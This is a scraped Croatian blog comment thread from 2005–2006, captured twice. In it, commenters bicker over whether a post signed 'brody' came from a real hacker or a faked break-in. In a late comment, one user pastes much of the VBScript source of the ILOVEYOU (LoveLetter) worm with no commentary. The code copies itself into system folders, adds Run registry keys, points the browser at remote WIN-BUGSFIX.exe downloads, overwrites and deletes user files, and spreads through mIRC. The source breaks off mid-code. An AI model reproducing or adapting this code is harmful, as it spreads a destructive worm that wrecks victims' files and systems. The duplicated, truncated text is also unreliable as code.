jesam li ja jedini kojemu ovo djeluje prefake???
ili je brody stvarno toliko nepismena i neinventivna...
mislim da sam ja hekiro, ja bi to difejso do te mjere da se ne prepoznaje...
osim toga nitko tko zna ista nije toliko glup da to ucini jer blog pamti svaki login... znaci narodne mosnje traceroute i vas haker je uhvacen...
ako ga je ikada bilo tj...da se mene pita ja bi reko da je jedna od mosnji dobila sindrom poodvojene licnosti...
06.06.2005. (21:57)
-
-
-
- - promjene spremljene- uredi komentar - obriši komentar - prijavi ovaj komentar kao spam - zabrani komentiranje autoru ovog komentara- učitavam...
ANIKA
HAHAHAHAHEHEHEHE
07.06.2005. (11:36)
-
-
-
- - promjene spremljene- uredi komentar - obriši komentar - prijavi ovaj komentar kao spam - zabrani komentiranje autoru ovog komentara- učitavam...
SEMSO
DAJ BRODY AJ CA KUCI SE UMIT !!!!!!!!!!!!!!!!!! HAHAHAHHEHEHEHE BUHAHAHAHAHAHAHAAAAAAAAAA
07.06.2005. (14:55)
-
-
-
- - promjene spremljene- uredi komentar - obriši komentar - prijavi ovaj komentar kao spam - zabrani komentiranje autoru ovog komentara- učitavam...
vidi,veseli pekmez..nismo tako nisko spali a i znamo ko je to napravija..nije brody i nije bitno ko je (tj. bitno je ali sve će izać na vidjelo kad tad bwahahaha) i jebe nas jel ti buy it ili ne i ko te uopće uvjerava, ti budi uvjeren u šta očeš al molimo te da ne daješ više svoje cijenjeno mišljenje na ovom blogu
07.06.2005. (19:53)
-
-
-
- - promjene spremljene- uredi komentar - obriši komentar - prijavi ovaj komentar kao spam - zabrani komentiranje autoru ovog komentara- učitavam...
malo smo defenzivni vidim... okej... nek vam bude, kako god zelite, samo sam se volio igrati poirota... a jebi ga sad...
samo ti gradi mrezu svojih lazi oko sebe, kao da je svijet glup da ne skonta da si ti to napisala... stvarno mi nije jasno sta ti treba u zivotu?
al dobro, mozda sam ja stvarno u krivu, mozda je neki "haker" stvarno provalio, napisao novi post predstavljajuci se kao brody, ne dirajuci nista drugo, a vi vidjevsi to niste dali nikakav komentar, stovise niste ni uklonile to sa site-a. nadalje onaj specifican bwahahaha koji sam na tvojem blogu pronasao u eksesivnim kolicinama, a ovaj bas i nije tako cest, smatram ga svojevrstnom postapalicom koju specificnom za tebe. i kao neznatan detalj dodao bi da ovo bas i ne bi bio prvi put da se lazno predstavljas tj. da hinis da si netko drugi...
e da ako jos niste skontali(sumnjam) ja sam veseli pekmez i ovim prekidam svaku vezu sa vama, tako da mozete odahnuti, odlazi jedina osoba koju je zapravo bilo briga. ovaj blog mi nije donio nista nego razocaranje u ljude... al dobro ja sam rekao svoje, poslije mene potop...
07.06.2005. (21:54)
-
-
-
- - promjene spremljene- uredi komentar - obriši komentar - prijavi ovaj komentar kao spam - zabrani komentiranje autoru ovog komentara- učitavam...
Aj ako ćeš se igrat poirota, saznaj ko je ka hakira blog ali molin te nek se tvoje sumnje i optuživanja temelje na DOKAZIMA a ne na tvojim SUMNJAMA. oni koji tribaju znat da ja to nisan napisala, znaju i to je to. stvarno ti nije jasno sta mi treba u zivotu??? ne znan ni ja, zašto bi ti triba znat. i prekini se obraćat samo meni, obrati se malo i svom predragom jaju 2 jer je i ona u svemu tome, znaš? ako to nisi skonta do sad , ali da, pardon, ja san ta u svemu ovome koja je glupa,jelda? e i zašto nismo uklonile tosa sajta? ajde se malo još igraj s našim umovima (zašto da se zaustaviš na poirotu?) pa saznaj sam
08.06.2005. (16:13)
-
-
-
- - promjene spremljene- uredi komentar - obriši komentar - prijavi ovaj komentar kao spam - zabrani komentiranje autoru ovog komentara- učitavam...
ej nas ti onu poslovicu "ko se maca laca sam od njega gine"!e pa promisli malo o tome nas niste ni ti ni tvoja prija nepobjedive!vi mi niste lose al jebiga draga moja naljutija san se!
17.06.2005. (15:17)
-
-
-
- - promjene spremljene- uredi komentar - obriši komentar - prijavi ovaj komentar kao spam - zabrani komentiranje autoru ovog komentara- učitavam...
Mošnje
Poslovica ide "ko se mača lača od mača i pogiba". I ajde se ostavi dramatiziranja
20.06.2005. (13:56)
-
-
-
- - promjene spremljene- uredi komentar - obriši komentar - prijavi ovaj komentar kao spam - zabrani komentiranje autoru ovog komentara- učitavam...
ajme....majko.....nemogu....stat.....varit.....hahahahahahhahahahahahhahah ahahahahahhaha.......hahahahahahhahaha...ajme majko.....ajme majko....ha ha ha ha.....ovo se ne odnosi na ovaj zadnji post nego ove prošle pogotovo ona mala sa dinčekom volin ga odkad san ga vidila i želin ga volit i volin ga od pete godine i još ga volin.....hahahahahahahhahahahaha.....a ova petra....hahahahha....ala došla san doma napušena preludo!iden malo buljit u zid i tuć glavon jer san tako glupa!!!weeeeee,ha ha,ludilo,ko je jebe uživila se u ovi blog pa sad ka ide hakirat samo vi pišite nikad dosta govana,jak je ovaj lik:punkboy.blog.hr ,preglupo
21.08.2005. (07:37)
-
-
-
- - promjene spremljene- uredi komentar - obriši komentar - prijavi ovaj komentar kao spam - zabrani komentiranje autoru ovog komentara- učitavam...
16.10.2006. (14:20)
-
-
-
- - promjene spremljene- uredi komentar - obriši komentar - prijavi ovaj komentar kao spam - zabrani komentiranje autoru ovog komentara- učitavam...
crna legija
rem barok -loveletter(vbe) rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines On Error Resume Next dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow eq="" ctr=0 Set fso = CreateObject("Scripting.FileSystemObject") set file = fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=file.ReadAll main()
sub main() On Error Resume Next dim wscr,rr set wscr=CreateObject("WScript.Shell") rr=wscr.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout") if (rr>=1) then wscr.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout",0,"REG_DWORD" end if Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Set c = fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&"MSKernel32.vbs") c.Copy(dirwin&"Win32DLL.vbs") c.Copy(dirsystem&"LOVE-LETTER-FOR-YOU.TXT.vbs") regruns() html() spreadtoemail() listadriv() end sub
sub regruns() On Error Resume Next Dim num,downread regcreate "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunMSKernel32",di rsystem&"MSKernel32.vbs" regcreate "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesWin32D LL",dirwin&"Win32DLL.vbs" downread="" downread=regget("HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerDownload Directory") if (downread="") then downread="c:" end if if (fileexist(dirsystem&"WinFAT32.exe")=1) then Randomize num = Int((4 * Rnd) + 1) if num = 1 then regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhP njw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe" elseif num = 2 then regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwer We546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe" elseif num = 3 then regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZ nmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe" elseif num = 4 then regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGj khYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGS FIX .exe" end if end if if (fileexist(downread&"WIN-BUGSFIX.exe")=0) then regcreate "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunWIN-BUGSFIX",d ownread&"WIN-BUGSFIX.exe" regcreate "HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainStartPage","about:blank" end if end sub
sub listadriv On Error Resume Next Dim d,dc,s Set dc = fso.Drives For Each d in dc If d.DriveType = 2 or d.DriveType=3 Then folderlist(d.path&"") end if Next listadriv = s end sub
sub infectfiles(folderspec) On Error Resume Next dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 set f = fso.GetFolder(folderspec) set fc = f.Files for each f1 in fc ext=fso.GetExtensionName(f1.path) ext=lcase(ext) s=lcase(f1.name) if (ext="vbs") or (ext="vbe") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close bname=fso.GetBaseName(f1.path) set cop=fso.GetFile(f1.path) cop.copy(folderspec&""&bname&".vbs") fso.DeleteFile(f1.path) elseif(ext="jpg") or (ext="jpeg") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close set cop=fso.GetFile(f1.path) cop.copy(f1.path&".vbs") fso.DeleteFile(f1.path) elseif(ext="mp3") or (ext="mp2") then set mp3=fso.CreateTextFile(f1.path&".vbs") mp3.write vbscopy mp3.close set att=fso.GetFile(f1.path) att.attributes=att.attributes+2 end if if (eqfolderspec) then if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then set scriptini=fso.CreateTextFile(folderspec&"script.ini") scriptini.WriteLine "[script]" scriptini.WriteLine ";mIRC Script" scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will" scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks" scriptini.WriteLine ";" scriptini.WriteLine ";Khaled Mardam-Bey" scriptini.WriteLine ";http://www.mirc.com" scriptini.WriteLine ";" scriptini.WriteLine "n0=on 1{" scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }" scriptini.WriteLine "n2= /.dcc send $nick"&dirsystem&"LOVE-LETTER-FOR-YOU.HTM" scriptini.WriteLine "n3=}" scriptini.close eq=folderspec end if end if next end sub
sub folderlist(folderspec) On Error Resume Next dim f,f1,sf set f = fso.GetFolder(folderspec) set sf = f.SubFolders for each f1
25.10.2006. (19:04)
-
-
-
- - promjene spremljene- uredi komentar - obriši komentar - prijavi ovaj komentar kao spam - zabrani komentiranje autoru ovog komentara- učitavam...
veseli pekmez
jesam li ja jedini kojemu ovo djeluje prefake??? ili je brody stvarno toliko nepismena i neinventivna... mislim da sam ja hekiro, ja bi to difejso do te mjere da se ne prepoznaje... osim toga nitko tko zna ista nije toliko glup da to ucini jer blog pamti svaki login... znaci narodne mosnje traceroute i vas haker je uhvacen... ako ga je ikada bilo tj...da se mene pita ja bi reko da je jedna od mosnji dobila sindrom poodvojene licnosti...
06.06.2005. (21:57) - - - - - promjene spremljene- uredi komentar - obriši komentar - prijavi ovaj komentar kao spam - zabrani komentiranje autoru ovog komentara- učitavam...
ANIKA
HAHAHAHAHEHEHEHE
07.06.2005. (11:36) - - - - - promjene spremljene- uredi komentar - obriši komentar - prijavi ovaj komentar kao spam - zabrani komentiranje autoru ovog komentara- učitavam...
SEMSO
DAJ BRODY AJ CA KUCI SE UMIT !!!!!!!!!!!!!!!!!! HAHAHAHHEHEHEHE BUHAHAHAHAHAHAHAAAAAAAAAA
07.06.2005. (14:55) - - - - - promjene spremljene- uredi komentar - obriši komentar - prijavi ovaj komentar kao spam - zabrani komentiranje autoru ovog komentara- učitavam...
bolidi-jopa
daj jeli ovo neka igra ili.........?
07.06.2005. (16:26) - - - - - promjene spremljene- uredi komentar - obriši komentar - prijavi ovaj komentar kao spam - zabrani komentiranje autoru ovog komentara- učitavam...
Narodne Mošnje
vidi,veseli pekmez..nismo tako nisko spali a i znamo ko je to napravija..nije brody i nije bitno ko je (tj. bitno je ali sve će izać na vidjelo kad tad bwahahaha) i jebe nas jel ti buy it ili ne i ko te uopće uvjerava, ti budi uvjeren u šta očeš al molimo te da ne daješ više svoje cijenjeno mišljenje na ovom blogu
07.06.2005. (19:53) - - - - - promjene spremljene- uredi komentar - obriši komentar - prijavi ovaj komentar kao spam - zabrani komentiranje autoru ovog komentara- učitavam...
LOBOTOMIJA I OSTALI MOMENTI
malo smo defenzivni vidim... okej... nek vam bude, kako god zelite, samo sam se volio igrati poirota... a jebi ga sad... samo ti gradi mrezu svojih lazi oko sebe, kao da je svijet glup da ne skonta da si ti to napisala... stvarno mi nije jasno sta ti treba u zivotu? al dobro, mozda sam ja stvarno u krivu, mozda je neki "haker" stvarno provalio, napisao novi post predstavljajuci se kao brody, ne dirajuci nista drugo, a vi vidjevsi to niste dali nikakav komentar, stovise niste ni uklonile to sa site-a. nadalje onaj specifican bwahahaha koji sam na tvojem blogu pronasao u eksesivnim kolicinama, a ovaj bas i nije tako cest, smatram ga svojevrstnom postapalicom koju specificnom za tebe. i kao neznatan detalj dodao bi da ovo bas i ne bi bio prvi put da se lazno predstavljas tj. da hinis da si netko drugi... e da ako jos niste skontali(sumnjam) ja sam veseli pekmez i ovim prekidam svaku vezu sa vama, tako da mozete odahnuti, odlazi jedina osoba koju je zapravo bilo briga. ovaj blog mi nije donio nista nego razocaranje u ljude... al dobro ja sam rekao svoje, poslije mene potop...
07.06.2005. (21:54) - - - - - promjene spremljene- uredi komentar - obriši komentar - prijavi ovaj komentar kao spam - zabrani komentiranje autoru ovog komentara- učitavam...
Narodne Mošnje
Aj ako ćeš se igrat poirota, saznaj ko je ka hakira blog ali molin te nek se tvoje sumnje i optuživanja temelje na DOKAZIMA a ne na tvojim SUMNJAMA. oni koji tribaju znat da ja to nisan napisala, znaju i to je to. stvarno ti nije jasno sta mi treba u zivotu??? ne znan ni ja, zašto bi ti triba znat. i prekini se obraćat samo meni, obrati se malo i svom predragom jaju 2 jer je i ona u svemu tome, znaš? ako to nisi skonta do sad , ali da, pardon, ja san ta u svemu ovome koja je glupa,jelda? e i zašto nismo uklonile tosa sajta? ajde se malo još igraj s našim umovima (zašto da se zaustaviš na poirotu?) pa saznaj sam
08.06.2005. (16:13) - - - - - promjene spremljene- uredi komentar - obriši komentar - prijavi ovaj komentar kao spam - zabrani komentiranje autoru ovog komentara- učitavam...
.....VUUUUUŠŠ.....
AL0O MOSHNJE IMAN NESTO ZAVAS NA BLOGU AL MORATE VRTIT DOOOLEEE DOK MI NENADJETE POSTOVE JER JE NESTO SJEBANO........KA CE TE VISE POSTAT MAJONEZA
09.06.2005. (18:23) - - - - - promjene spremljene- uredi komentar - obriši komentar - prijavi ovaj komentar kao spam - zabrani komentiranje autoru ovog komentara- učitavam...
plitko dirani izmet
ej nas ti onu poslovicu "ko se maca laca sam od njega gine"!e pa promisli malo o tome nas niste ni ti ni tvoja prija nepobjedive!vi mi niste lose al jebiga draga moja naljutija san se!
17.06.2005. (15:17) - - - - - promjene spremljene- uredi komentar - obriši komentar - prijavi ovaj komentar kao spam - zabrani komentiranje autoru ovog komentara- učitavam...
Mošnje
Poslovica ide "ko se mača lača od mača i pogiba". I ajde se ostavi dramatiziranja
20.06.2005. (13:56) - - - - - promjene spremljene- uredi komentar - obriši komentar - prijavi ovaj komentar kao spam - zabrani komentiranje autoru ovog komentara- učitavam...
fkfk
ajme....majko.....nemogu....stat.....varit.....hahahahahahhahahahahahhahah ahahahahahhaha.......hahahahahahhahaha...ajme majko.....ajme majko....ha ha ha ha.....ovo se ne odnosi na ovaj zadnji post nego ove prošle pogotovo ona mala sa dinčekom volin ga odkad san ga vidila i želin ga volit i volin ga od pete godine i još ga volin.....hahahahahahahhahahahaha.....a ova petra....hahahahha....ala došla san doma napušena preludo!iden malo buljit u zid i tuć glavon jer san tako glupa!!!weeeeee,ha ha,ludilo,ko je jebe uživila se u ovi blog pa sad ka ide hakirat samo vi pišite nikad dosta govana,jak je ovaj lik:punkboy.blog.hr ,preglupo
21.08.2005. (07:37) - - - - - promjene spremljene- uredi komentar - obriši komentar - prijavi ovaj komentar kao spam - zabrani komentiranje autoru ovog komentara- učitavam...
ZVONE-ŠirokiB
Moćan vam blog, moćna tema.!!!
15.03.2006. (14:48) - - - - - promjene spremljene- uredi komentar - obriši komentar - prijavi ovaj komentar kao spam - zabrani komentiranje autoru ovog komentara- učitavam...
Hidden_hacker
http://sbonline.blog.hr/
http://sbonline.blog.hr/
http://sbonline.blog.hr/
ht tp://sbonline.blog.hr/
16.10.2006. (14:20) - - - - - promjene spremljene- uredi komentar - obriši komentar - prijavi ovaj komentar kao spam - zabrani komentiranje autoru ovog komentara- učitavam...
crna legija
rem barok -loveletter(vbe)
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"MSKernel32.vbs")
c.Copy(dirwin&"Win32DLL.vbs")
c.Copy(dirsystem&"LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate
"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunMSKernel32",di rsystem&"MSKernel32.vbs"
regcreate
"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesWin32D LL",dirwin&"Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerDownload Directory")
if (downread="") then
downread="c:"
end if
if (fileexist(dirsystem&"WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhP njw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwer We546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZ nmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGj khYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGS FIX .exe"
end if
end if
if (fileexist(downread&"WIN-BUGSFIX.exe")=0) then regcreate "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunWIN-BUGSFIX",d ownread&"WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainStartPage","about:blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"")
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&""&bname&".vbs") fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eqfolderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"script.ini") scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }" scriptini.WriteLine "n2= /.dcc send $nick"&dirsystem&"LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1
25.10.2006. (19:04) - - - - - promjene spremljene- uredi komentar - obriši komentar - prijavi ovaj komentar kao spam - zabrani komentiranje autoru ovog komentara- učitavam...